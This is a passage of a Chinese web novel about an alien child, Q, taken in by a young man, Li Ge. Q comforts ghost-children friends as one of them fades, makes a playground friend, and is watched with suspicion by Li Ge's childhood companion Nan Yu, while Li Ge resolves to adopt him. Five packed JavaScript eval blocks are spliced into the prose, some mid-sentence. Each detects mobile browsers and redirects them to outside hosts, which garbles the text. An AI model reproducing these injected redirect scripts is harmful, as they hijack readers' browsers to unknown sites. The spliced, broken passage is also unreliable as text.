出去玩大概就不用单独面对南瑜这张脸了吧？虽然他对此人并不熟悉，但生物敏锐的本能提醒他南瑜绝对是个厉害的角色，自己还是不要和他过于亲近为好。 Q愿意出去玩黎歌也挺高兴的，毕竟南瑜是个成年人，也没哄过小孩子。要是单独让小游和他在一起不知道会多无聊，还是出去和同龄的小朋友一起玩来得高兴。 “都别干站着了，快来吃饭。” 黎歌一边说一边把Q往餐桌的地方抱，南瑜也跟着他们往室内走。他四处打量了一遍黎歌的生活空间，然后在Q的对面落座了。 他们都坐好了后黎歌穿上衣服就要走，南瑜拉住他问：“哥哥干嘛去？” Q很奇怪地看了看南瑜，明明他和黎歌差不多大为什么叫黎歌哥哥呢？成年人类不都是喜欢叫单个字，比如“妈”“爸”“姐”“哥”吗？ 黎歌很纳闷，“我去加班啊，要不然怎么让你过来看一会孩子？” 南瑜气笑了，“所以你找我过来就是留我和小孩在家？” 黎歌没觉得自己的逻辑有什么不对，相当自然地点点头，“不然呢？” 南瑜小声说：“搬到C城将近两个月，这是我第一次来你家。”言外之意很明显，我第一次来做客主人家却走了，真叫人难过。 “你别生气啊小鱼，等我下午回来给你俩做好吃的！”黎歌潦草地哄了一句南瑜，最后弯腰摸了摸Q的脸蛋——“小游听话哦，哥哥下午就回来！” Q身子往前倾，嘴唇碰了一下黎歌的侧脸，蜻蜓点水般的，“哥哥再见！” 黎歌似乎被他亲愣了，半天才缓过来神，嘴角眉梢都漾满了笑意。 “好，小游再见！” *** 客厅只剩下南瑜和Q眼瞪眼。南瑜不说话，Q也不理他只是埋头苦吃，一片寂静中酝酿着烦闷。 “小游，我可以这样叫你吗？” Q没抬头，含糊地回答，“当然” “那好小游，你一会想去哪里玩？” Q：“随便哪里都行，找一个离家近的地方吧，回家比较方便。”他能感觉到南瑜正在看他，审判一样的观察，他倒是不害怕这个人类能看出什么，就算发觉到异常也只要侵入大脑把他的记忆混淆处理一下就好。 Q只是担心麻烦。 他讨厌不必要的麻烦。 瓷白的勺子搅着菜花汤，彩色的波纹中小孩子们放声欢笑。 Q从高高的滑梯上滑下来冲进五彩斑斓的泡沫球海里，激起好高的泡沫。 【没意思，在这演戏真没意思。】Q和小鬼们抱怨。 【没关系，你可以假装在玩但和我们聊天，我们开开心心地说话就有意思了！】麻花辫一贯是会哄人开心的，她坐在高高的软垫子上，手掌摸挲着一旁的铁柱。虽然说着俏皮话但表情却并不高兴。 【以前的时候，妈妈也喜欢带我来这玩。她就坐在对面的位置看着我笑，我玩累了就去找她，妈妈就会给我拿水杯喝水。】蓝帽子也颇为感慨。 Q觉得自己可能是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057225|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错话了急忙道，【大家别难过，我们在一起就是很幸福的事情了！】 麻花辫噗嗤地笑了，【Q你现在学会幸福是什么意思了吗？对了，你认的那个哥哥对你好不好，有没有欺负你？有没有打你？】 Q：【当然没有！我哥哥是很好很好的人，不过他的朋友就说不准了。】 他接着滑梯的拐角瞟了一眼不远处的南瑜，男人目不转睛地看着他这里，仿佛看到了什么有意思的事情。他似乎在笑，Q拿不准，这人总是像带着一层假面，看不明白他表情之下的真正意思。 麻花辫她们听Q说南瑜不像是个好人，立刻盯着南瑜看，试图在他的脸上找出坏蛋的特征。 【这男的我记得咱们好像在警察局看见过？对不对老大？他那时候穿着白衬衫，因为老往门口看还被警察叔叔说了！】 老大这会儿也记起来了，他说【就是他！我就说被那么多警察叔叔看着问话的能是什么好人？果然，你看看，不是好人吧！】 Q看朋友们都这么力挺自己有点不好意思，【其实还没下定论呢，我现在只是觉得他奇怪罢了，只是直觉，没有证据。】 老大愤愤道，【你就是脾气太好了！你看谁第一眼就觉得不自在，那就离他远点就好了。不过既然他是你哥哥的朋友，你就敷衍着应付他吧。】 【不过分开一天而已，感觉老大好像变得成熟了很多呢！】 麻花辫跟着夸，【可不是，老大可厉害了…我…我……】 麻花辫突然想不起自己下一句要说什么了，她连说了两个“我”却还是没印象。 【你们看麻花辫的脚！她的脚哪去了？】 老大叫起来，Q急忙跑到大柱子下面仰头看着麻花辫，他试图连接上麻花辫的能量场，却发现那能量微弱地简直无法被捕捉。 Q无奈地宣布，【麻花辫的时间到了。】 【她要彻底离开了。】 蓝帽子吓得眼泪都出来了，哭着问，【那是什么意思？什么要离开了？】 【就是彻底的死亡，身体、灵魂都不复存在。肉身腐烂，而灵魂会转化成基本粒子归于自然。】 【麻花辫要死了。】 12.别害怕 听到麻花辫要死了，小鬼们没有不抹眼泪的。 在成为鬼的这些日子，在这些本该是最孤独的日子，因为有朋友的陪伴所以仅剩的灵魂也是快乐的。 光脚丫和麻花辫最要好，她揽住麻花辫的腰放声大哭，【麻花辫你别死，我把我剩下的时间分你一半，你别死！】 她哭得近乎窒息：【我可不可以分给…】 【不可以。】 Q也很难过，他很喜欢麻花辫，她是Q见过最可爱的人类幼崽。即使理智不断告诉他这是正常的，是符合宇宙法则的，可Q就是忍不住伤心。 他似乎有点理解人类的多愁善感了。 相比同伴的哭天抢地，麻花辫倒是冷静很多。她的目光在同伴们之间一遍又一遍地游走，想要记住他们最后的样子。可她却记不住。意识一旦开始崩溃，坍塌速度是极快的。 麻花辫忘记了就再看，看了又忘，直到腰以下的身体全部消失了她的眼睛才渗出眼泪。 她的嘴唇翕动，似乎是想要说话，可语言系统是第一个崩溃的，她不记得该如何说话了。 她就那样静静地流泪，流泪，最后连泪也流不出来了——她的眼睛也消失了。 四周小朋友的欢笑声还清晰地回荡在偌大的淘气堡内，无论是尖叫还是讨论，都是生机勃勃的，活力四射的，闪耀着无限的希望。 蓝帽子已经哭得趴在柱子上起不来了，其他鬼也没好到哪去，一半放声大哭，一半捂着脸放声大哭。 “小游，你在那里一动不动站很久了，在想什么？要喝口水吗？” 南瑜的声音猝不及防地从对面传过来，Q忽然意识到他现在的行为有多反常—— 一个正处于好动年纪的小孩独自站在比较空旷的铁柱子旁一动不动地仰着头，怎么想都不合理。 Q转身淡定地走向南瑜，从他的手里接过水瓶轻轻抿了一口，“小鱼哥哥你说这个柱子能承受多少人在上面跑跳？” 南瑜弯弯眼睛，“你刚刚就是在想这个问题吗？” Q反问：“不然呢？” 南瑜：“我以为你是看到了什么有趣的事情，一时间看呆了。” Q又喝了一口水，“刚刚那地方都没有人，哪有什么有趣的事情？对了，我哥哥有没有说他什么时候回家？” 南瑜翻开聊天记录，指尖轻轻点了点屏幕，“下午三点回来，现在已经十二点了要不要和小鱼哥哥出去吃点什么？” “不了，我不饿，我还想再玩一会。” “那好吧，既然你不想走，我让人做好饭送过来。” Q想说不用麻烦了，但南瑜预判了他的话，赶在他前头堵上他的嘴，“你可以不吃，但我却不能不给你准备，这是礼貌。” “那随便吧。”Q把水瓶一放，学着小孩的样子蹦跳着往滑梯的方向走。 南瑜左手虚虚托住下巴，意味不明地看了一眼Q离开的方向。 【你要走了吗？Q？】蓝帽子顶着哭红的眼睛，抽泣着问。 【不，我刚刚和他说我还要再玩，我想再陪你们一会。】 Q从滑梯头滑到了滑梯尾。 他刚滑到尾，下一个小朋友的脚就怼在了他的背上。那小孩大声说：“对不起！我太着急了，没踹到你吧？” Q说：“没事。” 小孩却拉住他，“我看你自己玩了好半天了，我们俩个一起玩吧！你想玩什么我可以陪你一起！俩个人玩才有意思！” “不用了谢谢你，我还是习惯自己玩。” Q看见那小孩被拒绝之后脸红了半边，他似乎已经自己一个人在这玩了很久。 “没有人和你一起玩吗？”Q问。 小孩摇摇头，“他们都不爱和我玩。” “哦。” 【Q你陪他玩一会吧】，老大说，【他看起来挺可怜的。】 Q问：“你叫什么名字？” “张雨辰，你可叫我雨辰，或者小雨，或者小辰，你怎么叫都行。你呢？” Q说：“张雨辰，我叫黎游，黎歌的黎，游泳的游。你能和我坐着聊聊天吗？其实我也有点玩累了。” 张雨辰笑的时候有两个很明显的梨涡，“好！我最喜欢和人说话了！”他伸出手拉住Q，两人找了一个偏僻的空旷角落并排坐下。 “我有好多好多话想和你说，你愿意听吗？” “愿意。” 小孩的心事根本藏不住，男孩拉着Q滔滔不绝地开始说，有上学干的事情，有去奶奶家做的事情……这孩子简直就像一台播放器，聊天的热情分泌了更多、更多的口水。 Q的两个脑同时工作，辅助脑听着小孩的琐碎故事，核心脑负责和小鬼们交流—— 【大家缓一缓，我知道大家都很伤心，但灵魂的消散是生命的正常过程，是旧生命的结束、新生命的开始。你们，我，地球上的所有人都要经历。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059310|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 【灵魂的死亡不代表着麻花辫完全消失了，至少我们、她的妈妈、她的其他朋友都还记得她。】 老大问：【可当这些记得她的人都死了怎么办？】 【那她就已经变成一个新的生物了，她会拥有一个新的灵魂。】，Q说，【她的意识转化为粒子，当这些粒子遇到合适的躯体时就会和周围的其他自由的意识粒子凝聚在一起，慢慢长成一个新的灵魂。或许会有一丁点携带着记忆的粒子在重构中被保留下来，或许她会模模糊糊地梦到她的上辈子。】 老大说：【那我上辈子可能是条狗，我总能做梦梦到自己变成了小狗，完蛋！我不会下辈子转化成狗吧？】 【没事老大，就算你变成狗了我们去找你，我们养着你！让你做全世界、全地球最幸福的狗！】 【哈哈哈哈】 光脚丫真诚发问：【真的吗？那我以前养的小狗可不可能转化为人呢？我当姐姐，她当妹妹可以吗？】 那概率比明天地球就灭亡还小。 Q心想，但他没说出来，【当然有可能！一切皆有可能！】 Q没想到自己有一天也会用上人类的“心灵鸡汤”，他觉得人类的想象力是真的很丰富。心灵、鸡汤，精神的抽象事物能和吃的联系到一起，不知道发明这个词的人当时是不是很爱喝鸡汤。 “黎游，我可以叫你小游吗？” 【他才不叫黎游，他是Q！】 Q点头，“随便你怎么叫都行。” “小游，我们可以交朋友吗？”怕被拒绝的男孩立刻给出自己的条件，“我可以每周末都等你玩，我可以把我的玩具都给你玩，你还可以来我家…” “可以。我很喜欢你，和你在一起聊天很有意思，我们可以做朋友。” 男孩喃喃重复道：“真的吗？” “你不信就算了。”Q装作要走的样子。 张雨辰赶紧挡在好朋友面前，“我信我信，那从今天开始我们就是好朋友了！小游你知道吗？你是我去年加上今年的第一个好朋友！” Q跟着他的节奏摇了摇手，“是吗？那真是太好了，其实你也是我今年的第一个活的好朋友。” 【对哦，我们是死的！】 【但我们是Q的最好最好的朋友！其他人连Q的真名都不知道，算什么好朋友！】 Q微微一笑【当然，你们才是我来地球后最先的也是最好的朋友。】 13.黎歌的过去 黎歌：【小鱼你们现在在哪儿？我去找你们。】 南瑜：【还在淘气堡和小朋友一起玩呢，你吃饭了没有？】 黎歌坐在副驾驶上低头一个劲儿地回消息：【没呢，我不饿，小游中午吃饭了吗？】 【他饭没吃多少，饮料倒是喝了一整杯。】 南瑜晃了晃手边的空瓶，顺便发了一小段视频给黎歌【喏，喝空了。】 黎歌：【小孩子嘛都爱吃甜的】 【晚上想吃什么？让你也尝尝我的手艺。】 南瑜输入了一段文字，想了想又删掉了，重新编辑：【你已经累了一天了怎么好意思让你回家以后接着做饭？别忘了，我的厨艺也是不错的。】 是吗？黎歌记不清了。 他和南瑜也是最近几年才逐渐恢复了联系的，而且因为是异地，所以黎歌对南瑜现在的生活并不熟悉。 从前倒是熟悉的。 德恩福利院的孩子都知道，南瑜是黎歌影子，主人在哪，影子就会跟到哪里。 黎歌努力回忆着，他第一次见到南瑜的时候好像是六岁。而南瑜只有三四岁的样子，小小的一只，比黎游还要小。 院长说南瑜是被遗弃的孩子，和他们这些孩子一样，都是不被父母期待的存在。 黎歌不怎么在意福利院的小孩，他在这里没有朋友，当然，他也不可能有外面的朋友。 比起吵吵闹闹拉帮结派，黎歌更喜欢一个人待着。 他力气大，性子冷，下手也狠，曾经有个小团体试图霸、凌他，结果个个都挨了黎歌的打。经此一战后黎歌不好惹的名声算是传遍整个福利院了，没人敢轻易招惹他。 当然，那个新来的不算。 南瑜喜欢跟在黎歌的身后，哪怕黎歌经常厌烦地推开他，他也坚持不懈。 在分配床铺的时候，南瑜几次向管理员提议想和黎歌睡在一起。黎歌起初是不愿意的，他不想挨着一个什么都不懂的小鬼。但或许是被骚扰的次数太多渐渐习惯了，或许是有点被小鬼头的坚持打动了，又或许是看他孤零零一人实在可怜——黎歌妥协了。 南瑜和他睡在了一起。 南瑜小的时候很缺乏安全感，他不敢自己一个人在小床上睡，常常半夜就钻到黎歌的被窝里像考拉一样扒住黎歌的身体缩在他的怀里。 黎歌的觉很轻，每一次被钻被窝黎歌都清楚。 但他从没阻止过。 可能是发善心，也可能纯粹是懒得管。 黎歌现在已经记不清自己当时的心态了。 他们窝在一起睡了三年，直到那张张小小的床铺再也容纳不下快速发育的两个少年。 再后来俩人成为朋友似乎也就是理所应当的了。 南瑜很珍惜黎歌这个朋友，他舍不得花院里分发给他们的零花钱，他把那些钱一分一角地攒起来留着给黎歌买礼物。只可惜每天的基数太小，就算攒了整整一年也买不到什么新潮的像样东西。 南瑜很难过。 他从礼品店离开的时候只带走了一对翠绿的琉璃戒指——漂亮的便宜货。 那对戒指一只给了黎歌，另一只他自己留着戴了。 最开始的时候小孩的手指太细，戒指只能戴在大拇指上，随着年龄的增长戒指也渐渐地移位——中指、食指、无名指。 它停在了无名指。 而黎歌的那只戒指却无福活到现在，它在频繁的搬家中被弄丢了。 但这也怪不得黎歌，一个刚成年的穷小子要在富丽堂皇的C城生存下来是多么不容易啊！哪里还顾得全即将消散的旧日记忆？ 他不比南瑜，南瑜在六岁那年被一个富商家庭领养了。那对父母测试了福利院孩子们的智力和反应力，只有南瑜最合他们的要求。 当时南瑜哭着闹着不肯走，他不想离开黎歌。在几年的相处中他是真的把黎歌当成唯一的家人。 院长也无话了，便让黎歌劝劝倔强的孩子。到底是小孩子，他不知道如果放弃领养意味着他亲手斩断了无数人梦寐以求的大好前程。 黎歌让院长放心，他会好好劝劝南瑜的。 也是像今天一样的晴天，在阳光照耀的休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062682|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室里，黎歌把南瑜拉到角落一字一句地承诺：“小鱼你听我的，你不是想攒很多很多钱吗？那你和他们回家吧，好好学习，就会变有钱的！等你有钱了我也长大了，我就去找你，到时候我们还天天在一起好吗？你要是不和他们一起走的话，单凭我们俩个人什么时候能攒到出去的钱呢？” 南瑜摇摇头抱住黎歌的腰，抽泣着问：“哥哥不许骗我！我攒到钱了你就出去找我！” 黎歌面无表情，“当然，我从不骗人。” 他没有说其实南瑜并不是他送走的第一个朋友了，他也不知道他会不会是最后一个。 但是这话也没必要让南瑜知道。 反正很难再见面了。 反正就此天各一方。 故事后续很简单也很流畅，南瑜跟着商人夫妇去了一个新的国家，黎歌到了十八周岁离开了福利院。他们的人生就像两条相交线，在短暂的汇合后迅速分开，再无交集。 黎歌低头看了看食指，他记得那枚翠绿的戒指没丢时戴在食指上正正好好，严丝合缝地像是量身定做一般。 那根食指中端因为长时间佩戴戒指而被卡出了一道清浅的印记，就像他们的过去一样，浅浅的，在梦里飘荡。 几年前南瑜突然联系到他时黎歌一时间都愣住了。当初的诺言他也尝试兑现过，但大洋彼岸，人潮迭起，水深千尺隔万丈，哪里是说找就找得到的？ “你说你是小鱼？” “我是小鱼，哥哥，我的戒指还戴着呢，我拍给你看。” 【图片】 那是一个成熟男人的漂亮的手，白皙有力，骨节分明，无名指上的翠色琉璃戒指在光的照耀下熠熠生辉，晃得黎歌心里一亮又一亮。 “哥哥，我来兑现诺言了。” *** “儿童城到了，您慢走啊！” 黎歌略略点头，借着巨大的黑色玻璃板黎歌看见自己的脸——憔悴的，疲乏的。黎歌暗想：果然，上班就是吸人精气。 淘气堡的等候区内，南瑜轻轻转了转自己的戒指，甜蜜地笑了。 14.猜忌 “哥哥！”Q奔向黎歌的怀里，男人轻松地把他提起来举高高，“小游玩的还开心吗？” Q点头，“开心！” “开心就好”，黎歌亲热地贴了一下他的脸蛋，小孩子的脸蛋稚嫩软弹，触感极好。 “小游你的家长来了，那我也去找我姥姥了！她还在那边等我回家呢！”张雨辰一时间觉得自己有点多余，便识趣地挥手找个借口打算离开。 黎歌急忙问：“小游这是你新交的好朋友吗？” “嗯，他是张雨辰。”Q想了一圈形容词来描述自己的朋友，补充道，“他很可爱。” 黎歌把Q放在地上，俯身握了握小男孩的手欢喜地说：“呀，谢谢雨辰和我们家小游做朋友！你可是小游在这里的第一个朋友呢！” 小男孩的脸蛋唰地就红了，像只熟透的苹果。他磕磕巴巴地说：“哥哥，小游…小游他特别特别好，我也很喜欢他。”说完小男孩转身朝后挥挥手，飞也似地跑了。 黎歌忍不住笑着对南瑜说：“多活泼可爱的小朋友，真招人喜欢。” Q拉住他的衣角，仰头看着黎歌问：“那我呢？” 黎歌一愣没反应过来他的话，随后才明白他的意思，这是求夸奖呢。 “当然，我们家小游是全世界最可爱的小朋友，谁也比不上！” 南瑜看着这兄友弟恭的一幕只觉得碍眼。 真讨厌。 当初自己为了靠近他，留在他身边花了好长时间、花了那样多的气力，可现在这个不知从哪来的孩子却这样轻轻松松的赢得了他的喜爱。难道说人长大了时候会比小时候的感情更泛滥、更容易被打动吗？ “小鱼，我们回家啦！你在想什么？” 南瑜站起来温柔地笑笑，快走两步来到Q的身边拉住了他还空着的左手。他和黎歌分别站在Q的两边，一人拉着小孩的一只手，活像一家人。 一家人。 真好。 *** 南瑜没有夸大自己的厨艺，他做的菜确实属于一流水平，不仅色香味俱全而且速度也快。 黎歌略感惊讶，他以为南瑜被那样富有的家庭领养后一定会有着优越的生活条件，会养成一个十指不沾阳春水的少爷，没想到这人的生活技能却并不逊色于自己。 他站在南瑜的身后欣赏着朋友忙碌的身影，想到从前那样小小的一只跟在自己的身后，不仅颇为感慨。 “哥哥想吃甜一点的还是咸一点的？嗯？” 南瑜突然转过头，黎歌来不及躲闪，两个人的脸离得特别近，猝不及防的对视了一瞬间。 黎歌有点不自在地低头，就像是上课和老师对视了的学生一样，慌张无措。 “甜的吧。” 南瑜早就转过头开始炒糖色了，黎歌听见他说，“哥哥的口味这么多年还是没变。” 是吗？ 黎歌不记得小时候曾经展现出自己的偏好，他好像是从独立之后才越来越嗜糖的，因为吃糖能让他心情愉悦。 “小时候每到发糖果零食的日子，你总是把自己的薯片果冻全部和其他的小孩换成糖，然后把糖全放进玻璃罐子里存的满满的。”南瑜说，“你还记得那个玻璃罐子吗？是一次吃罐头之后留下的，你把它洗干净了后装我们的糖。” 他这样一说黎歌想起来了。 他小时候确实总是会拿别的零食换成糖果，但并不是因为喜欢，只是因为糖的味道持久，又可以含很长时间。 相比其他零食，糖果的性价比是最高的。 不是喜欢，贫穷的孩子哪里有资格谈喜欢？——只是适合，只是有一点点甜罢了。 不过这些都没必要告诉南瑜。 黎歌附和道，“是啊，那么小的事情你还记的那么清楚，我们小鱼果然是厉害！” 南瑜强压了压上翘的嘴角，利落地将菜装盘。 “小游不要再看电视了，吃饭喽！” Q端坐在沙发上目不转睛地看着电视，虽然他私心里更想看科技、财经、自然或者是新闻频道，但黎歌认为小孩子应该会喜欢看动画片，所以就自作主张地给他放了少儿频道。 可即使是动画片Q也看得津津有味。 他发现人类这种生物真的很厉害，祂们会发明许多娱乐活动来取悦自己。 自己的种族就不一样，他们认为娱乐是一种耻辱，每个积极进取想要为星球联邦做大贡献的社会分子就应该全身心、百分百地投入到自己的领域中。 玩乐是精神空虚的外化。 逃避是思想堕落的表现。 专注于现实，专注于技术才是唯一真理。 “哥哥我来啦！” Q迅速关掉电视乖乖地坐在自己的专属座椅上，等待着人齐开饭。 南瑜也解下围裙走了过来，他的目光一下子就被儿童椅吸引住了，轻轻挑了一下眉毛。 南瑜坐在黎歌的对面，有一句每一句的和黎歌闲聊，直到话题渐渐被他引到了Q的身上，他才抛出一个炸弹—— “哥哥，过两天幼儿园也该开学了，小游要不要去上学？” 黎歌夹菜的筷子一滞。 凭心而论，他真的很喜欢黎游这个孩子，要不然也不会在可以甩开他的情况下坚持把人领回家自己养。可论及黎游的未来，黎歌并没有把握。 七天之期未到，警署那边也还没有消息，黎歌不确定黎游在是世界上到底还有没有亲人了。 如果有，那么他的亲人会想要收养他吗？还是会想自己一样被所谓的亲情一脚踢开？如果有，他真的舍得把如此合自己心意的黎游让给别人养吗？要是那时候自己不愿意的话又能抢到他的抚养权吗？ 如果没有，那么自己能够下决心收养他吗？自己够资格抚养一个处于最需要爱的时期的小孩子吗？ 黎歌知道自己现在连这些最基本的问题都尚未解决，更别提什么上学的事情了。可他还是说了：“上学的话当然要上最好的，再苦不能苦孩子，再穷不能穷教育，我想送小游去C城中心学府，如果实在去不了的话就去比它稍稍差一点的学校。” 南瑜虽是前两个月才搬到C城的，但以他的关系网早就将这座城错综复杂的势力结构查得一清二楚了。 “哥哥说的是楚家控股的那个从学前教育到大学全一体化的中心学府？” “就是那个，你也听说过？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066659|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 南瑜想了一下说：“我和楚家的长子楚云打过交道，算是有几分交情。如果小游想去的话我可以帮忙打通这边的关系，应该没有什么大问题。” “真的吗？那太好了！” Q不知道他们讨论的第一学府是什么地方，也不知道人类对教育的重视程度。在他看来上不上学、上什么学校都是随便的，反正他只需要极短的时间就能迅速学习完一个知识渊博的大脑，看人类的书籍就更是简单，过目不忘是奇利亚斯人的基本技能。 Q后之后觉地发现自己好像就是人类眼中的天才。 他不想让黎歌因为学习的事情去求人，他知道这种求人一定是要花钱的，说不定还要欠下人情。根据他的学习，人类的人情是一种很难还清的东西，他不想让黎歌为了自己而有任何负担。 他自私地决定要黏住他已经对黎歌很不公平了，如果还要让他为自己付出很多很多，Q觉得自己的灵魂会过意不去。 “哥哥，我不想去你说的什么第一学府，我很厉害的，我学什么都特别特别快，我在哪里上学都是一样的！” 黎歌知道Q是怕自己破费，便以为小孩子是哄他的，象征性地夸了一句：“是吗？小游真棒！” 可一旁的南瑜却发问了，“那好呀，哥哥来考考小游，357乘以462等于多少？” Q都没有动用核心脑，一下子就得出了答案，“164934.” 南瑜的露出兴味盎然的表情，黎歌却吃了一惊，他拿出手机将南瑜方才说的数字输入计算器里知道屏幕上出现清晰的一行——【164934】 黎歌不可置信地看着Q，“小游你一直都这么厉害吗？这是谁教你的？” 他像发现了什么惊天的宝藏一样，揉揉Q的脸蛋又观察他的胳膊腿，仿佛是在找bug出现在哪里。 南瑜默默地加大了难度，“那4513乘以865等于多少？” “3903745”Q还是很快地给出了答案，这回黎歌也懒得用计算器验证了，干脆看南瑜的表情。 南瑜轻轻点头示意黎歌，“小游算的没错。” 黎歌沉浸在黎游是一个天才的喜悦中，简直高兴坏了。 他丝毫没反应过来能速算的不知黎游一个，还有南瑜。 “四位数乘以四位数可以口算吗？” Q想当然没问题，别说四位数了，就算是四十位、四百位也能照算不误。可他不敢表现的太过出挑，因为太出挑了难免会有暴露之嫌。他要把度控制在是个天才，但没有逆天到离谱的程度。 Q摇摇头。 “可以慢慢口算也不行吗？” 为了和先前的回答保持一致，Q还是摇头。 但南瑜却“哦”了一声，上扬的尾音，他似乎不信。 “四位数乘以三位数可以在两秒内迅速得出结果，但四位数相乘试也不试就给出了否定的结果。看来小游你的上个老师并没有好好教你啊。” Q冷冷地看了他一眼，没有说话。 黎歌根本冷静不下来分析南瑜的话，只是更加坚定了自己要把Q送到能力范围内最好学校的决心——孩子这么高的天赋，可不能耽误了！” 15.意料之中的电话 这顿饭在黎歌一人的欢天喜地中结束了。 南瑜临走的时候问黎歌：“哥哥，我家里养了狮子猫，就是我们小时候最喜欢的那种。你什么时候有时间带小游一起来我家一趟看看猫？” 黎歌认真地想了一下自己最近的时间安排，给出了两个不算准确的时间：“周六上午或者下下个周一的晚上，如果你有时间的话我就带小游…”想到那时候黎游可能已经不在自己这里了，黎歌又改了口，“我就过去。” “我有时间，哥哥，我闲的很。”——你可以多来找找我，我想让你多来找找我。 当然后半句南瑜并没有说出来。 Q也听到了黎歌的临时改口，他不解地看向黎歌，有点委屈地问：“为什么不带我？” 黎歌没想到小孩子的心这么敏感，便哄他：“自然要带你去，哥哥刚刚说错了。好了小游，快和小鱼哥哥再见！” Q即使心里再不情愿，但面子上的功夫却做足了，扬着小脸挥手：“小鱼哥哥再见！” 南瑜也挥挥手，“再见啊小游！哥哥再见！” 入夜，Q躺在黎歌的大床上睡得很好，自从来到黎歌身边之后他发现自己一个很少需要睡眠的生物竟然常常能感受到舒服的睡意。 可睡在沙发上的黎歌却辗转反侧了好久没合眼，明天就是第七天了，现在他一闭上眼就能想到黎游被家人接走离开自己的场景。 黎歌实在是有过太多类似的经历了，他不敢想，也不愿意想那一天。 催眠的音乐放了半晌，他还是睡不着。心里的大石头卡在嗓子眼，憋得他肺难受、肝也难受，全身上下都吊着一口气似的闷得慌。 终于，他坐起来给南瑜打了一通电话。 南瑜的声音有点哑，气息也不那么平稳，似乎是被吵醒的。 “抱歉啊小鱼，这么晚给你的打电话，我实在是有事情想问问你。” 南瑜倒是没生气，他平和而温柔地问：“哥哥怎么了？什么事情让你烦到睡不着觉？” “你说，我要是收养小游的话，我够格吗？” 对面轻笑了一声。 黎歌被这声笑搞得有点生气，他说：“你别着急否定我，其实我工资也很高的，当然和你比是没有可比性的，但是我每个月税后基本工资加上奖金也能拿到三万块左右。 而且我没有任何不良嗜好和暴力倾向，我情绪也很稳定，虽然没有房子和车但是我有存款，如果小游成长需要房车的话我也可以买这些……” “哥哥”，南瑜打断了他，“你别急，我只问你一句，抛开一切，你到底想不想收养黎游？” “我应该是想收养的。” “没有应该，我要一个准确的答案——想还是不想？” 黎歌没出声。 南瑜知道他的性格，他看似冷漠实则对谁都博爱，可撕开博爱的壳子里面又会露出坚硬的心。 他会把自己缩进壳子里，守住心，然后任由其他人影响他。他会随着风左右摇摆，却始终不敢剖开壳子看清自己真正想要的东西。 “想还是不想？”他再次逼问。 黎歌终于下了决心，他说：“我想，我想收养黎游，抚养他长大。” 南瑜发出了一声气音，黎歌没听清声调，但他觉得那似乎是个嘲讽的声音。 “哥哥，你已经做出选择了。” 你选择了只相处了七天的黎游，选择将他留在你的身边。可当时的你却没有选择我，我们分开了十几年，你也从未、从未找过我。 南瑜知道自己的怒气是不合理的，毕竟现在的黎歌有经济能力养活他自己和黎游，和当时那个毫无力量的小孩根本没有可比性。但南瑜就是憋着一口气，心里就是不平衡。 这很正常，在强烈的情感面前，理智总会瑟瑟发抖地缩在角落。 *** 从第二天凌晨开始黎歌就一直在等那个意料之中的电话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066660|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 早上八点半的时候，他朝思暮想的声音终于从手机里传来——“黎歌先生，经过人口调查和DNA匹配结果，我们发现黎游小朋友目前并没有在警署系统登记过的有血缘关系的亲人，这意味着您可以选择收养他或者将他交给福利院等待被人收养。” 黎歌几乎是插话回答：“我愿意收养黎游。” 接线警员：我没问你愿不愿意收养啊？我就是通知你消息而已。 